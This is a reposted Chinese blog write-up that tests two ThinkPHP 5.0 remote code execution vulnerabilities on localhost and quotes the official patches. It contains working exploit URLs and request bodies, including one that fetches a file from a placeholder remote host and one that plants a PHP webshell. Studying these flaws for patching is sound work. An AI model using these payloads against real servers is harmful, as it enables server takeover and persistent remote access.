ThinkPHP5.0 漏洞测试

ThinkPHP5.0 漏洞测试

自从ThinkPHP发布漏洞补丁以来,服务器不知道多少次受到了批量扫描漏洞来抓取肉鸡的请求
虽然官方早已发布补丁,还是想试一下TP漏洞,测试两个漏洞

一、全版本执行漏洞

http://127.0.0.1/ThinkPHP/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=1

由于对控制器名没有明确的检测,在没有开启强制路由的情况下,直接就可以执行phpinfo(),如果服务器未限制shell等函数的执行,便可以直接执行shell提权

ThinkPHP5.0 漏洞测试
详细的漏洞执行过程可以参考 ​​​
官方补丁

加入正则表达式来限制控制器名

/* /thinkphp/library/think/App.php 555行 加入 */if (!preg_match('/^[A-Za-z](\w)*$/', $controller)) {     throw new HttpException(404, 'controller not exists:' . $controller);}

二、_method漏洞

http://127.0.0.1/ThinkPHP/index.php?s=captchaContent-Type:application/x-www-form-urlencoded_method=__construct&filter[]=system&method=GET&get[]=dir

触发条件

//Config.php'var_method'             => '_method'

利用​ ​$_POST['_method']​​​变量来传递真实的请求方法,当​ ​$_POST['_method']=__construct​​​时,Request类的method方法便会将该类的变量进行覆盖,利用该方式将filter变量覆盖为system等函数名,当内部进行参数过滤时便会进行执行任意命令

ThinkPHP5.0 漏洞测试
基于此可以直接上传PHP文件 test.php
http://127.0.0.1/ThinkPHP/index.php?s=captcha&fileDown=copy("http://xxx/1.txt","test.php")Content-Type:application/x-www-form-urlencoded_method=__construct&filter=assert&method=get&server[REQUEST_METHOD]=fileDown

生成一句话木马

http://127.0.0.1/ThinkPHP/index.php?s=captcha&T=echo+^+phpinfo();eval($_POST[cmd]);?^>+>>info.phpContent-Type:application/x-www-form-urlencoded_method=__construct&filter=system&method=get&server[REQUEST_METHOD]=123

可以在config.php将_method设置为其他字符,或者升级TP

官方补丁

官方补丁中限制了_method可疑设置的请求方法,并在处理_method之后将其unset,无法再利用__construct进行变量覆盖

/* thinkphp/library/think/Request.php */ public function method($method = false)    {        if (true === $method) {            // 获取原始请求类型            return IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);        } elseif (!$this->method) {            if (isset($_POST[Config::get('var_method')])) {                $method = strtoupper($_POST[Config::get('var_method')]);                if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {                    $this->method = $method;                    $this->{$this->method}($_POST);                } else {                    $this->method = 'POST';                }                unset($_POST[Config::get('var_method')]); //unset            } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {                $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);            } else {                $this->method = IS_CLI ? 'GET' : (isset($this->server['REQUEST_METHOD']) ? $this->server['REQUEST_METHOD'] : $_SERVER['REQUEST_METHOD']);            }        }        return $this->method;    }

参考文章:​​​​https://mrxn.net/Infiltration/618.html​​​​​​https://www.vulnbug.com/amp/thkphp5x-code-execution-vulnerabilities-and-bypass.html​​​​https://www.freebuf.com/vuls/194127.html​

Original: https://blog.51cto.com/u_15659138/5339464
Author: WindrunnerMax
Title: ThinkPHP5.0 漏洞测试

原创文章受到原创版权保护。转载请注明出处:https://www.johngo689.com/517714/

转载文章受原作者版权保护。转载请注明原作者出处!

(0)

大家都在看

亲爱的 Coder【最近整理,可免费获取】👉 最新必读书单  | 👏 面试题下载  | 🌎 免费的AI知识星球